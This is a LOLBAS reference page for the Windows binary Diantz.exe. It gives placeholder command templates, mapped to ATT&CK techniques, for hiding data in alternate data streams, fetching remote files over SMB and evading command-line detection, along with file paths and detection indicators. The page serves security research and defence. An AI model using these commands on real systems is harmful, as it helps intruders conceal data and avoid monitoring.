LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Diantz.exe

View source

Binary that package existing files into a cabinet (.cab) file

ADSDownloadExecute
03COMMAND EXAMPLES
03ATT&CK TECHNIQUES
02DETECTION RESOURCES
03CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

ADS1

EXAMPLE 01T1564.004

Compress a file (first argument) into a CAB file stored in the Alternate Data Stream (ADS) of the target file.

COMMAND
diantz.exe {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:targetFile.cab
USE CASE
Hide data compressed into an Alternate Data Stream.
PRIVILEGES
User
OPERATING SYSTEM
Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
Type · Compression

Download1

EXAMPLE 01T1105

Download and compress a remote file and store it in a CAB file on local machine.

COMMAND
diantz.exe {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}
USE CASE
Download and compress into a cab file.
PRIVILEGES
User
OPERATING SYSTEM
Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Type · Compression

Execute1

EXAMPLE 01T1036

Execute diantz directives as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.

COMMAND
diantz /f {PATH:.ddf}
USE CASE
Bypass command-line based detections
PRIVILEGES
User
OPERATING SYSTEM
Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019
Type · Compression
02 / ON DISK

Known paths

c:\windows\system32\diantz.exe
c:\windows\syswow64\diantz.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

  • IOC

    diantz storing data into alternate data streams.

  • IOC

    diantz getting a file from a remote machine or the internet.

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Tamir Yehuda@tim8288
Hai Vaknin@vakninhai